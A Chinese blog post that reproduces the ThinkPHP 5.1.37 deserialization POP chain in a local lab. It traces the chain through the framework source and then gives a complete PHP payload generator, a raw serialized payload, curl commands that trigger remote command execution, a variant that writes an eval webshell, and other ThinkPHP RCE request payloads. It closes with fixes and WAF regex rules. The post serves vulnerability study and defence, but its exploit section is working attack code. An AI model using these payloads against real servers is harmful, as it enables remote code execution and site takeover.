Skip to content
Kurisu
Go back

ThinkPHP 5.1.37 反序列化链复现

免责声明:本文仅用于本地自建靶场的漏洞原理学习与复现,操作均在 127.0.0.1 隔离环境完成,不涉及真实目标。

1. 漏洞背景

ThinkPHP 是国内使用量最大的 PHP 框架之一,5.1.x 生命周期最长、装机量最大。2019 年安全研究员 Mochazz(ThinkPHP-Vuln 仓库)公开了 5.1.x 的反序列化利用链:应用只要存在 unserialize() 用户可控输入的反序列化点,攻击者无需口令或前置条件,构造序列化对象即可一路触发魔术方法,最终抵达 call_user_func('system', ...) 实现远程命令执行(RCE)。

几个关键事实:

同期 ThinkPHP 还爆出过 _method=__construct&filter[]=system 方法覆盖 RCE(5.0.x)、s=index/\think\app/invokefunction 路由 RCE(5.0.x / 5.1.x ≤ 5.1.30)等漏洞,本文只聚焦反序列化链。

2. 反序列化基础

2.1 序列化与反序列化

serialize() 把任意对象拍平成字符串,unserialize() 再还原成对象:

$obj = new User('admin');
$s = serialize($obj);      // O:4:"User":1:{s:4:"name";s:5:"admin";}
$obj2 = unserialize($s);   // 还原

还原出的对象与 new 出来的行为完全一致(含魔术方法触发);而序列化字符串完全由攻击者控制,可把”任意类、任意属性值”交给 unserialize() 还原。

2.2 魔术方法

PHP 在特定时机自动调用的方法叫魔术方法(magic methods),反序列化利用盯三个:

魔术方法触发时机利用价值
__destruct()对象被销毁(脚本结束 / 引用计数归零)反序列化后必然触发,POP 链最常用的起点
__wakeup()unserialize() 还原对象时反序列化入口的”第一脚”,可做前置控制
__toString()对象被当作字符串使用(如 file_exists($obj)、拼接)让”类型判断/文件操作”变成”方法调用”的桥

2.3 POP 链是什么

POP(Property-Oriented Programming):不注入新代码,借应用类库里已有的魔术方法与普通方法,用精心设置的属性值把一次 unserialize() 一路”调用”到危险函数。

构造 POP 链即回答三个问题:

  1. 起点:反序列化后哪个 __destruct / __wakeup 会先执行,且其行为可控?
  2. 桥梁:怎么把对象传递链变成”字符串上下文”,触发 __toString 并继续往下走?
  3. 终点:哪个方法最终调用 call_user_func / eval,参数来自哪个可控属性?

ThinkPHP 5.1.37 的这条链,三个问题的答案分别是 Windows::__destruct、Model::__toString、Request::input。

3. 链分析:源码审计

源码来自 thinkphp/library/think/(5.1.37 原版),行号为靶场实测行号。

3.1 起点:Windows::__destruct → removeFiles

think\process\pipes\Windows.php 是管理 Windows 管道进程的类,析构函数会清理临时文件:

// Windows.php:56-60
public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

// Windows.php:160-168
private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
}

$this->files 是 private 属性,完全由序列化数据决定。若 files 的第一个元素不是字符串而是 Model 对象,file_exists($filename) 在 PHP 7 中会把对象强转为字符串——触发 __toString(),链被点燃。

3.2 桥梁:Conversion::__toString → toArray → getAttr

think\model\concern\Conversion(Model 的转换 trait)定义了 __toString,它把模型转成 JSON:

// Conversion.php:238-241
public function __toString()
{
    return $this->toJson();
}

// Conversion.php:222-225
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

toArray() 中有一段处理”追加关联对象”的逻辑(131-214 行,重点 184-195 行),它会取出 $this->data[$key] 里存放的任意对象并调用其 visible() 方法:

if (!empty($this->append)) {
    foreach ($this->append as $key => $name) {
        if (is_array($name)) {
            // 追加关联对象
            $relation = $this->getRelation($key);   // relation 属性为空 → false
            if (!$relation) {
                $relation = $this->getAttr($key);   // Attribute trait: getAttr → getData → data[$key]
                $relation->visible($name);          // ← 对 data['x'] 里的对象调用 visible()
            }
            $item[$key] = $relation->append($name)->toArray();
        }
        // ...
    }
}

getAttr() 定义在 think\model\concern\Attribute trait 中,最终由 getData() 返回 $this->data[$key]。于是控制三个 protected 属性:

关键跳跃:$relation->visible($name)——Request 类没有 visible() 方法,会进入 Request::__call。

3.3 终点:Request::__call → isAjax → param → input → call_user_func

think\Request 是请求封装类,其”钩子”机制把不存在的魔法调用交给 $this->hook 里注册的 callable:

// Request.php:327-335
public function __call($method, $args)
{
    if (array_key_exists($method, $this->hook)) {
        array_unshift($args, $this);                       // 把 Request 自己塞到参数最前面
        return call_user_func_array($this->hook[$method], $args);
    }
    throw new Exception('method not exists:' . static::class . '->' . $method);
}

设置 hook = ['visible' => [$request, 'isAjax']],visible($name) 即转发为 $request->isAjax($request, $name)。不直连 input 的原因:__call 会 array_unshift 塞入 Request,而 input() 第一参数 $data 是数组,收对象会报错;isAjax($ajax = false) 的第一参数是开关,true === $ajax 不成立、被忽略,继续往下走:

// Request.php:1640-1652
public function isAjax($ajax = false)
{
    $value = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;

    if (true === $ajax) {
        return $result;                       // $ajax 是对象,跳过
    }

    $result = $this->param($this->config['var_ajax']) ? true : $result;   // ← 进入 param
    return $result;
}

param() 读取配置的键名(设 config['var_ajax'] = 'x'),合并请求变量后交给 input():

// Request.php:928-962
public function param($name = '', $default = null, $filter = '')
{
    if (!$this->mergeParam) {
        $method = $this->method(true);        // 读 server['REQUEST_METHOD'],需预置 'GET'
        // ... 合并 get/post/route 到 $this->param
        $this->mergeParam = true;
    }
    return $this->input($this->param, $name, $default, $filter);   // input($param, 'x', null, '')
}

input() 中:getData($param, 'x') 取出 param['x'](设为要执行的命令 whoami),过滤器取 $this->filter(设为 system),最后:

// Request.php:1347+,filterValue 内部
$value = call_user_func($filter, $value);     // call_user_func('system', 'whoami') 🎯

命令执行,回显输出。整条链收束。

3.4 关键类图

┌────────────────────────────────────────────────────────────────┐
│ think\process\pipes\Windows  (private $files)                  │
│   __destruct() ──► removeFiles() ──► file_exists($files[0])    │
└──────────────────────────────┬─────────────────────────────────┘
                               │ $files[0] = Model 对象 → 强转字符串
                               ▼
┌────────────────────────────────────────────────────────────────┐
│ think\Model (abstract,用 think\model\Pivot 实例化)             │
│   trait Conversion::__toString ─► toJson ─► toArray()          │
│     append['x']=['y'] 分支: getRelation 失败 → getAttr('x')    │
│     (trait Attribute::getAttr ─► getData ─► data['x'])         │
│     → data['x'] 是 Request 对象 → $relation->visible($name)    │
└──────────────────────────────┬─────────────────────────────────┘
                               │ Request 无 visible() → __call
                               ▼
┌────────────────────────────────────────────────────────────────┐
│ think\Request (hook / config / param / filter / server ...)    │
│   __call('visible') ─► hook['visible']=[Request,'isAjax']      │
│   ─► isAjax($ajax=Request对象, 忽略)                            │
│   ─► param(config['var_ajax']='x') ─► input(param,'x')         │
│   ─► getData → param['x']='whoami'                             │
│   ─► getFilter → filter='system'                               │
│   ─► filterValue ─► call_user_func('system','whoami')  🎯 RCE  │
└────────────────────────────────────────────────────────────────┘

关键类与方法速查:

环节类 / Trait方法文件(5.1.37)
起点think\process\pipes\Windows__destruct / removeFilesthinkphp/library/think/process/pipes/Windows.php:56-60, 160-168
桥 1think\model\concern\Conversion__toString / toJson / toArraythinkphp/library/think/model/concern/Conversion.php:238-241, 222-225, 131-214
桥 2think\model\concern\AttributegetAttr / getDatathinkphp/library/think/model/concern/Attribute.php
转发think\Request__call / isAjax / param / inputthinkphp/library/think/Request.php:327-335, 1640-1652, 928-962, 1347+
终点—call_user_func($filter, $value)Request::filterValue(input 内部)

EXP 要设置的属性一览:

对象属性(可见性)值作用
Windowsfiles(private)[Pivot对象]起点:__destruct 时触发 __toString
Pivot(Model)append(protected)['x' => ['y']]让 toArray 走进 184-195 分支
data(protected)['x' => Request对象]getAttr('x') 返回 Request
relation(protected)[]强制走 getAttr 分支
visible / hidden(protected)[]避免干扰
Requesthook(protected)['visible' => [$request, 'isAjax']]__call 转发到 isAjax
config(protected)['var_ajax' => 'x']isAjax 取 param 键名
param(protected)['x' => 'whoami']要执行的命令
filter(protected)'system'最终被 call_user_func 调用的函数
server(protected)['REQUEST_METHOD' => 'GET', ...]让 method(true) / server() 正常返回
get / route / mergeParam(protected)[] / [] / falseparam() 合并逻辑不报错、不走缓存分支

两个易错点:

  1. 不能用 trait 名直接做对象。Conversion、Attribute 是 trait,unserialize 出的”trait 名对象”是没有方法的假对象,__toString 不会触发;必须用真实 use 了这些 trait 的类,think\model\Pivot(继承自 think\Model)就是现成的。Model 本身是 abstract,生成 payload 时无法 new。
  2. hook 必须经 isAjax 中转(原因见 3.3):若直指 input/param,array_unshift 塞入的 Request 对象会让强转报错;isPjax 同理。

4. EXP 构造

生成 payload 有两种姿势:

  1. 反射法:在靶场项目内 require 框架,用 ReflectionClass::newInstanceWithoutConstructor() 绕过构造函数实例化真实类,设属性后 serialize();最稳,但依赖靶场环境。
  2. 桩类法(本文采用):在独立 PHP 脚本里声明同名同命名空间、同属性可见性的”桩类”;PHP 序列化只看”类名 + 属性名 + 可见性”,生成的字符串被目标端 unserialize 时还原成目标端真实的类,真实方法照常执行。可见性必须与真实类完全一致(protected → \0*\0 前缀,private → \0类名\0 前缀),否则属性名对不上、链直接断。
<?php
// exp_gen.php —— 生成 ThinkPHP 5.1.37 反序列化 payload(桩类法)
// 用法: php exp_gen.php "whoami"  (第一个参数为要执行的命令)

namespace think\process\pipes {
    class Windows {
        private $files = [];
        public function __construct($files) {
            $this->files = $files;                 // 私有属性在类内部赋值
        }
    }
}

namespace think\model\concern {
    trait Conversion {}                            // 占位 trait,仅为对齐真实类结构
    trait Attribute {}
}

namespace think {
    abstract class Model {
        use model\concern\Attribute;
        use model\concern\Conversion;
        // 与真实类一致的 protected 属性(5.1.37 实测)
        protected $append = [];
        protected $data = [];
        protected $relation = [];
        protected $visible = [];
        protected $hidden = [];
        // 供子类构造函数调用的注入点
        protected function inject(array $append, array $data) {
            $this->append   = $append;
            $this->data     = $data;
            $this->relation = [];
            $this->visible  = [];
            $this->hidden   = [];
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {
        public function __construct($append, $data) {
            $this->inject($append, $data);         // 在子类内访问 protected 属性
        }
    }
}

namespace think {
    class Request {
        protected $hook = [];
        protected $config = [];
        protected $param = [];
        protected $filter;
        protected $server = [];
        protected $get = [];
        protected $route = [];
        protected $mergeParam = false;

        public function __construct($cmd, $filter = 'system') {
            $this->hook     = ['visible' => [$this, 'isAjax']];   // 自引用:同一实例
            $this->config   = ['var_ajax' => 'x'];
            $this->param    = ['x' => $cmd];
            $this->filter   = $filter;                            // system / exec / assert / phpinfo
            $this->server   = ['REQUEST_METHOD' => 'GET', 'HTTP_X_REQUESTED_WITH' => ''];
            $this->get      = [];
            $this->route    = [];
            $this->mergeParam = false;
        }
    }
}

namespace {
    use think\Request;
    use think\model\Pivot;
    use think\process\pipes\Windows;

    $cmd     = $argv[1] ?? 'whoami';
    $request = new Request($cmd);                  // 1. Request:终点,hook 自引用
    $pivot   = new Pivot(['x' => ['y']], ['x' => $request]);   // 2. Model:桥梁
    $windows = new Windows([$pivot]);              // 3. Windows:起点

    $payload = serialize($windows);
    echo "RAW: " . $payload . "\n\n";
    echo "URL: " . urlencode($payload) . "\n";
}

执行:

php exp_gen.php "id"

输出示例(长度按字节精确计算,含 NUL 字节):

RAW: O:27:"think\process\pipes\Windows":1:{s:34:"\0think\process\pipes\Windows\0files";a:1:{i:0;O:17:"think\model\Pivot":5:{s:9:"\0*\0append";a:1:{s:1:"x";a:1:{i:0;s:1:"y";}}s:7:"\0*\0data";a:1:{s:1:"x";O:13:"think\Request":8:{s:7:"\0*\0hook";a:1:{s:7:"visible";a:2:{i:0;r:4;i:1;s:6:"isAjax";}}s:9:"\0*\0config";a:1:{s:8:"var_ajax";s:1:"x";}s:8:"\0*\0param";a:1:{s:1:"x";s:2:"id";}}s:11:"\0*\0filter";s:6:"system";s:9:"\0*\0server";a:2:{s:14:"REQUEST_METHOD";s:3:"GET";s:22:"HTTP_X_REQUESTED_WITH";s:0:"";}}s:11:"\0*\0relation";a:0:{}s:10:"\0*\0visible";a:0:{}s:9:"\0*\0hidden";a:0:{}}}

URL 编码后含 %00,用 curl / Python requests 直接传没问题;部分浏览器地址栏会吞 NUL 字节,用 --data-urlencode 或代码发送更稳。

写 Shell 变体:把 filter 换成 assert、param['x'] 换成 assert 能执行的单行代码(如 file_put_contents('shell.php','<?php eval($_POST[1]);?>'));或直接用 system 执行 echo '<?php ...' > shell.php。实战更推荐 exec + 回显拼接,或用带外(OOB)验证避免回显干扰。

5. 靶场验证

5.1 自建靶场

用 phpStudy 搭一个 ThinkPHP 5.1.37 靶场(本文环境:Windows + PHP 7.3.4 NTS):

# 1. composer 建项目(必须锁精确版本!5.1.* 通配会装到 5.1.42,链的行号/行为有差异)
#    且 composer 2.9+ 默认拦截已知漏洞包,先关掉审计拦截
composer config -g audit.block-insecure false
composer create-project "topthink/think:5.1.37" D:\phpstudy_pro\WWW\tpdemo5137 --no-dev -n

# 2. 允许 think-installer 插件
composer config allow-plugins.topthink/think-installer true

# 3. 控制器加反序列化入口(模拟真实世界最常见的错误写法)
#    application/index/controller/Index.php
#    public function index() {
#        $u = isset($_GET['c']) ? unserialize($_GET['c']) : null;   // 漏洞点
#        return 'hhh';
#    }

# 4. php.ini:把 system/exec 从 disable_functions 移除(phpStudy 默认禁用,会挡住 RCE 复现)

# 5. 启动(PATH 需能解析 php,think run 内部用 passthru 调裸 php 命令)
PATH="/d/phpstudy_pro/Extensions/php/php7.3.4nts:$PATH" php think run -H 127.0.0.1 -p 8000

靶场环境清单:

组件值
框架topthink/think 5.1.37(composer 锁定)
PHP7.3.4 NTS(phpStudy)
入口http://127.0.0.1:8000/index/index/index?c=<payload>
漏洞点Index::index() 中 unserialize($_GET['c'])

5.2 触发验证

第一步:用最短 payload 验证 __destruct 被触发(只含 files 属性,指向不存在的文件,file_exists 返回 false 即结束,无副作用):

O:27:"think\process\pipes\Windows":1:{s:34:"\0think\process\pipes\Windows\0files";a:1:{i:0;s:20:"/tmp/hermes-test.txt";}}

请求后若 runtime/log/ 出现 file_exists(/tmp/hermes-test.txt) 的调用记录,或断点命中 Windows.php:56,说明入口可用。注意 5.1 的 __destruct 在请求结束对象 GC 时触发,页面正常返回后析构才执行。

第二步:完整链打 RCE,用第 4 节的 exp_gen.php 生成 payload:

php exp_gen.php "whoami" > payload.txt
# 取 URL 编码行发送(curl 单引号包裹,避免 %00 被 shell 吞)
curl -s "http://127.0.0.1:8000/index/index/index?c=$(cat payload.txt | sed -n 's/^URL: //p')"

回显(Windows 靶场):

hhh
desktop-xxxx\18270

whoami 输出出现在响应体,说明 call_user_func('system', 'whoami') 已执行;再试 ipconfig(Linux 上 id、uname -a)均可正常回显。

输出流向:system() 直接打印到标准输出 → 出现在 HTTP 响应体中;随后 toArray() 中 $relation->append($name)->toArray() 因 Request 没有 append 钩子抛异常导致 500,但命令已执行、回显已完成,不影响利用。

5.3 同家族对比:_method=__construct 风格

ThinkPHP 5.0.x 另有同家族的方法覆盖 RCE:

POST /index.php?s=/index/index/index HTTP/1.1
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter[]=system&method=get&get[]=whoami

原理:Request::method() 读取 POST 中的 _method 并直接 $this->{$method}($_POST),传 __construct 等于用 POST 参数重新初始化 Request 对象,filter[] 覆盖过滤器、get[] 成为参数,最终 param() → input() → call_user_func('system','whoami')。

注意:这个姿势在 5.1.37 上打不通——5.1.x 的 method() 对 _method 值做了白名单校验(只允许 get/post/put/patch/delete),__construct 会被拦下。5.1.x 同期能打的是 s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 路由型 RCE(5.1.31 修复)。所以 5.1.37 上好用的是本文这条反序列化链;两者都掌握,遇到 ThinkPHP 老站即可按版本对症下药。

6. 修复建议

6.1 升级版本(治本)

6.2 代码层:禁止反序列化不可信输入(核心)

// 只允许还原白名单类,其余一律变成 __PHP_Incomplete_Class
$data = unserialize($input, ['allowed_classes' => ['App\Cache\SessionBox']]);

// 更彻底:完全禁止类还原(纯数组场景)
$data = unserialize($input, ['allowed_classes' => false]);
grep -rn "unserialize(" app/ --include="*.php"
grep -rn "unserialize(" vendor/ --include="*.php" | grep -v "allowed_classes"

重点盯缓存类(cache('xxx') 的序列化存取)、session 处理器、__wakeup 里做二次反序列化的组件、第三方 SDK 的”反序列化回显”接口。

6.3 WAF / 中间件规则(缓解)

WAF 检测反序列化攻击的难点在于 payload 可以 URL 编码、base64、gzip 变形,规则只能”提高门槛、制造噪音”,不能当唯一防线:

# Nginx 层拦截示例(配合 lua/OpenResty 或 nginx-mod-security 更灵活)
# 1) 5.0.x 方法覆盖 RCE
if ($request_body ~* "_method[ ]*=[ ]*__construct")   { return 403; }
# 2) filter 参数注入危险函数
if ($request_body ~* "filter\[\][ ]*=[ ]*(system|exec|assert|eval|passthru|shell_exec)") { return 403; }
# 3) 路由型 RCE(invokefunction / \think\ 直接路由)
if ($request_uri ~* "(invokefunction|\\think\\\\)")    { return 403; }
# 4) 序列化对象特征(O:<数字>:"<类名> 出现在请求参数中)
if ($request_uri ~* "O:[0-9]+:\"[A-Za-z\\\\]")        { return 403; }

商业 WAF(如雷池 SafeLine)可直接配置自定义规则(正则同上)并开启”请求体深度检测”,避免 %00、URL 编码绕过。注意:O: 特征规则对合法传递序列化数据的接口有误报风险,建议按 URI 白名单收敛。

6.4 纵深防御

总结

整条链只用框架自带类(Windows::__destruct → Model::__toString → Request::__call → isAjax → param → input → call_user_func('system', $cmd)),Windows/Linux 通杀。漏洞不在框架的某个函数,而在”反序列化不可信输入”这个反模式本身(修复见第 6 节)。


Share this post:

Previous Post
渗透测试 Skills 体系设计
Next Post
SSTI 模板注入:检测、利用与修复